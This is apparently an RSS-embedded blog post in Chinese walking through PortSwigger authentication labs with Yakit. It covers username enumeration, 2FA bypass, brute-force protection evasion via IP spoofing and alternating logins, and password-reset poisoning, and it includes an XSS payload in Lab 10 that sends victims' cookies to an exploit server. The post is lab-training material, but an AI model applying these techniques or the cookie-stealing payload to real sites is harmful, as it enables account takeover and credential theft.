<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Hack Your Heart</title><link>https://h4cker.zip/tags/%E8%BA%AB%E4%BB%BD%E9%AA%8C%E8%AF%81/</link><description>临渊羡鱼，不如退而结网</description><generator>Hugo 0.168.0</generator><language>en</language><atom:link href="https://h4cker.zip/tags/%E8%BA%AB%E4%BB%BD%E9%AA%8C%E8%AF%81/rss.xml" rel="self" type="application/rss+xml"/><lastBuildDate>Mon, 03 Mar 2025 18:16:15 +0800</lastBuildDate><item><title>Yakit打BurpSuite靶场—认证篇</title><link>https://h4cker.zip/034022/</link><pubDate>Mon, 03 Mar 2025 18:16:15 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/034022/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>让我们欢迎渗透测试三巨头之一！SRC一方霸主！<del>未授权！</del></p>
<p>未授权属于认证</p>
<p>认证大多是逻辑漏洞，开发不把认证做好，就会产生许多越权攻击。</p>
<h4 id="lab-1">Lab 1<a class="anchor" href="#lab-1">#</a></h4>
<p><strong>Username enumeration via different responses</strong></p>
<p>直接插入临时字典爆破就行，每次靶场预设的用户名都不一样</p>
<p>优先检查用户名，用户名不对就显示Invalid username</p>
<p>用户名对了，密码错了，就显示Incorrect password</p>
<p>所以观察返回长度，长一点的就是密码错了，这也暗示用户名是对的，所以可以中止爆破，将用户名修改好，再单独对密码进行爆破。</p>
<p>当然也可以继续等下去，一直等到刚好用户名与密码都正确。</p>
<h4 id="lab-2">Lab 2<a class="anchor" href="#lab-2">#</a></h4>
<p><strong>2FA simple bypass</strong></p>
<p>两步验证形同虚设，账号登录进去就已经给我session了。不过在登录进去多做了一步验证码，此时直接访问my account就行</p>
<h4 id="lab-3">Lab 3<a class="anchor" href="#lab-3">#</a></h4>
<p><strong>Password reset broken logic</strong></p>
<p>访问的密码重置链接，链接指向的网页在提交新密码时同时传递了账号密码，此时可以修改账号，达到修改密码的目的</p>
<h4 id="lab-4">Lab 4<a class="anchor" href="#lab-4">#</a></h4>
<p><strong>Username enumeration via subtly different responses</strong></p>
<p>匹配器匹配那个<code>&lt;p class=is-warning&gt;Invalid username or password.&lt;/p&gt;</code></p>
<p>有一个不同，没有<code>.</code>，他就是用户名</p>
<p>然后拿用户名跑密码，302就是的</p>
<h4 id="lab-5">Lab 5<a class="anchor" href="#lab-5">#</a></h4>
<p><strong>Username enumeration via response timing</strong></p>
<p>动态XFF即可，插入标签<code>{{int::1(1-254)}</code>，然后username那里插入<code>{{payload::1(BP_username)}}</code></p>
<p>这样的话，每个username都对应一个IP，就不会被封禁</p>
<h4 id="lab-6">Lab 6<a class="anchor" href="#lab-6">#</a></h4>
<p><strong>Broken brute-force protection, IP block</strong></p>
<p>错的多了就封禁，但是登录正确用户就清除封禁记录</p>
<p>所以爆破思路就是字典里的密码爆破一个，就填写一个正确的用户去清除错误记录，然后再爆破一个密码。以此来把密码字典跑完，所以这个实现有三种方法：</p>
<p><strong>1、制作交替的字典</strong>，用户名简单，就俩用户名交替，密码制作也简单，每行内插入一个已知用户的密码。把这两个字典同行匹配爆破即可。注意并发为1</p>
<p><strong>2、热加载</strong>，类似于BurpSuite的宏，在每次发包前，发送一次正确用户账号密码的包</p>
<p>注意：包必须替换为你的Cookie，如果你要复制全部请求头进去，有个请求头为<code>sec-ch-ua</code>，他的值有半个括号，导致代码括号闭合有问题，你可以删掉这个括号。</p>
<p>代码如下，我已精简请求包：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="nx">beforeRequest</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="kd">func</span><span class="p">(</span><span class="nx">req</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="cm">/* beforeRequest将在请求发起之前执行 */</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="w">    </span><span class="c1">// 发送GET请求，获取响应</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="w">    </span><span class="nx">rsp</span><span class="p">,</span><span class="w"> </span><span class="nx">_</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">poc</span><span class="p">.</span><span class="nf">HTTP</span><span class="p">(</span><span class="s">`POST /login HTTP/1.1
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="s">Host: 0ad3009604a2fcecd419d948003e0059.web-security-academy.net
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="s">Cookie: session=QmQLegdClZJBN1wKoZaGHK5OlsJOFO3r
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="s">
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="s">username=wiener&amp;password=peter`</span><span class="p">,</span><span class="nx">poc</span><span class="p">.</span><span class="nf">https</span><span class="p">(</span><span class="kc">true</span><span class="p">))</span><span class="w"> </span><span class="cm">/* 这里可以替换为你需要的请求 */</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="kc">nil</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="w">        </span><span class="k">return</span><span class="w"> </span><span class="nx">req</span><span class="w">
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="nx">req</span><span class="w">
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">go</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><strong>3、使用Yakit序列</strong>，第一个节点插入密码字典，第二个节点是正确用户的登录包，这俩包的并发都降低到1。每次第一个节点发送了一个密码爆破包，就会触发第二个节点的正确登录包，这样也能交替完成爆破，注意yakit中这俩节点的响应是分开显示的。</p>
<p>最快应该是热加载，由于每次发包前都会发送正确的包，所以他可以并发。</p>
<p>其他两个方法不能并发，因为你正确用户可能还没清理掉封禁记录，你就并发了几个密码出去了，由于封禁，很大概率你测试不出来是否是正确密码</p>
<p>思考🤔：序列线程为1，第一个节点发送密码，此时第二个节点开始发包，但第一个节点发送完后，第二次发包又开始了。第二个节点的包如果晚于第一个节点的第二个包，会不会导致没清除掉记录就又发了密码测试？</p>
<h4 id="lab-7">Lab 7<a class="anchor" href="#lab-7">#</a></h4>
<p><strong>Username enumeration via account lock</strong></p>
<p>爆破用户名，有一个用户名显示不同，只有那个用户名才会封禁，他就是目标用户名</p>
<p>然后爆破密码即可，虽然显示封禁，但是正确密码的长度仍然不同，响应里是没有报错的</p>
<h4 id="lab-8">Lab 8<a class="anchor" href="#lab-8">#</a></h4>
<p><strong>2FA broken logic</strong></p>
<p>verify参数是决定让谁生成验证码，然后修改username为carlos。爆破验证码</p>
<h4 id="lab-9">Lab 9<a class="anchor" href="#lab-9">#</a></h4>
<p><strong>Brute-forcing a stay-logged-in cookie</strong></p>
<p>进入my account，抓包，删除session，爆破<code>stay-logged-in</code>参数，这个参数base64解开，后半段是密码的md5，所以爆破的编码标签就是：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="ln">1</span><span class="cl"><span class="err">Cookie: stay-logged-in={{base64enc(carlos:{{md5({{payload(BP_password)}})}})}};</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">http</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>请求包的第一行要修改为<code>id=carlos</code>，然后错误包显示302跳转到登录，正确包会显示200 my account页面</p>
<h4 id="lab-10">Lab 10<a class="anchor" href="#lab-10">#</a></h4>
<p><strong>Offline password cracking</strong></p>
<p>XSS窃取cookie，访问自己cookie之前，服务器接收到受害者cookie，解开就行</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span><span class="nb">document</span><span class="p">.</span><span class="nx">location</span><span class="o">=</span><span class="p">(</span><span class="s2">&#34;https://exploit-0aa500b3035b3ae0bfad75840125006b.exploit-server.net/&#34;</span><span class="o">+</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="o">+</span><span class="s2">&#34;/&#34;</span><span class="p">)&lt;/</span><span class="nt">script</span><span class="p">&gt;</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">html</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>后台有个机器人carlos在访问帖子，如果刚好时间一致就能获取到cookie，通常是第一个帖子</p>
<h4 id="lab-11">Lab 11<a class="anchor" href="#lab-11">#</a></h4>
<p><strong>Password reset poisoning via middleware</strong></p>
<p>加上XFH，链接会被发送到XFH地址，这是初始地址的意思，防止服务器发给代理服务器的。XFH格式与Host格式一致</p>
<p>网络不好，会导致收不到请求，多发包多等待</p>
<h4 id="lab-12">Lab 12<a class="anchor" href="#lab-12">#</a></h4>
<p><strong>Password brute-force via password change</strong></p>
<p>用户名、当前密码、新密码、再次输入新密码</p>
<p>优先比对当前密码，然后比对新密码与再次输入的新密码</p>
<p>所以让新密码不一样，使当前密码错显示密码错，当前密码对显示新密码错</p>
<p>就这个逻辑爆破就行</p>
<h4 id="lab-13">Lab 13<a class="anchor" href="#lab-13">#</a></h4>
<p><strong>Broken brute-force protection, multiple credentials per request</strong></p>
<p>把字典写为数组作为password字段的值，用302响应中的session登录</p>
<h4 id="lab-14">Lab 14<a class="anchor" href="#lab-14">#</a></h4>
<p><strong>2FA bypass using a brute-force attack</strong></p>
<p>2FA有一种是官方发验证码，发邮件或者短信，这种是你每次登录都会重新生成的，现在无法爆破这种，这相当于一次一密，已经很安全了。</p>
<p>还有一种是手机令牌，大家用过steam或者google 令牌都知道，验证器有一串字符，然后过一会就会更换。你在登录时需要填写这个字符。</p>
<p>而这个靶场的2FA就类似于手机令牌，但是它的时效非常久。我们要在这个时间内爆破出来。</p>
<div class="mermaid-block">
  <pre class="mermaid">flowchart TD
A[开始] --&gt; B(Step 1：访问登录页面) 
B --&gt; |提取session与csrf| C(Step 2：登录账号)
C --&gt;|提取新的session 2| D(Step 3：访问2FA页面)
D --&gt;|提取新的csrf 2| E(爆破验证码)
E --&gt;|爆破剩余字典| B</pre>
</div>
<p>用这个逻辑就行，序列执行流程看下面的图文部分。</p>
<p>这个靶场脆弱点在于，登录后验证码更新时间太久，如果你爆破不出来，那就再执行一遍，或者收集发送失败的包，丢失参数的包，再发一遍。</p>
<p>发现这个题，yakit并没有bp好用。这边需要老传递变量，而bp的宏勾选对应的包就行</p>
<p>Yakit一打就崩，现在是凌晨5点半，提交了崩溃日志，希望起床能得到回复</p>
<hr>
<p>现在是2025/3/12，负责这块的Rookie发了个<code>1.3.9-alpha312</code>版本引擎给我，不崩了。</p>
<p>注意get login那个包可以并发，会快一些。启动器不要并发</p>
<p>并且爆破出了验证码，状态码302的就是，用session登录carlos的账号</p>
<p>这里贴一下序列流程和具体请求包（请求包已删除无用字段），注意变量设置和提取器规则。并且把所有靶场链接替换成自己的</p>
<img src="./Authentication_Lab14_sequence.webp" style="width:80%;" />
<p>第一个节点：字典分叉pass</p>
<p>目的是逐个发包，每次都会调用后面的序列</p>
<p>语法错了都没事，乱写都没事，主要是执行就可以，他就是为了调用序列用的，然后把每个验证码发过去</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line hl"><span class="ln">1</span><span class="cl"><span class="nf">HEAD</span> <span class="nn">/{{p(pass)}}</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">Host</span><span class="o">:</span> <span class="l">www.example.com</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">User-Agent</span><span class="o">:</span> <span class="l">Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">http</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/034022/Authentication_Lab14_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2560" height="1261"
/>
</p>
<p>第二个节点：获取session与csrf</p>
<p>由于登录时会有个随机session和csrf，所以需要提前获取一下。然后传递给登录包用，这里请求包删掉session，然后响应包就会分配一个session和csrf</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="ln">1</span><span class="cl"><span class="nf">GET</span> <span class="nn">/login</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">Host</span><span class="o">:</span> <span class="l">0a1b007504b717e3819930bf005900d5.web-security-academy.net</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">http</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/034022/Authentication_Lab14_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2560" height="1253"
/>
</p>
<p>第三个节点：登录页面</p>
<p>登录后是302跳转，这里会再分配一个session，需要获取一下给后面的2FA页面用</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-http" data-lang="http"><span class="line"><span class="ln">1</span><span class="cl"><span class="nf">POST</span> <span class="nn">/login</span> <span class="kr">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">Host</span><span class="o">:</span> <span class="l">0a1b007504b717e3819930bf005900d5.web-security-academy.net</span>
</span></span><span class="line hl"><span class="ln">3</span><span class="cl"><span class="n">Cookie</span><span class="o">:</span> <span class="l">session={{p(session)}}</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="g">
</span></span></span><span class="line hl"><span class="ln">6</span><span class="cl"><span class="g">csrf={{p(csrf)}}&amp;username=carlos&amp;password=montoya</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">http</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
